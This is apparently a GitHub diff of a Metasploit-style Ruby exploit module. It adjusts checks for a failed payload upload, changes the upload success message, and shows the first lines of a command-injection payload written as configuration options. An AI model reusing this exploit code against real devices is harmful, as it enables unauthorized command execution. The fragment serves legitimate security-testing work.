You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
fail_with(Failure::PayloadFailed,'The response from the target indicates the payload transfer was unsuccessful')iffile_write_res && file_write_res.body.include?('ParseError: 0xC0DE0005')
fail_with(Failure::PayloadFailed,'The response from the target indicates the payload transfer was unsuccessful')
132
+
end
133
+
131
134
register_files_for_cleanup(payload_filepath)
132
-
print_good('File write was successful.')
135
+
print_good("File write was successful, uploaded: #{payload_filepath}")
133
136
134
137
cmd_injection_pload="option proto gre\n"
135
138
cmd_injection_pload += "option name 0\n"
@@ -147,6 +150,8 @@ def exploit
147
150
'data'=>data.to_s
148
151
})
149
152
150
-
fail_with(Failure::PayloadFailed,'The response from the target indicates the payload transfer was unsuccessful')ifcmd_injection_res && cmd_injection_res.body.include?('ParseError: 0xC0DE0005')
0 commit comments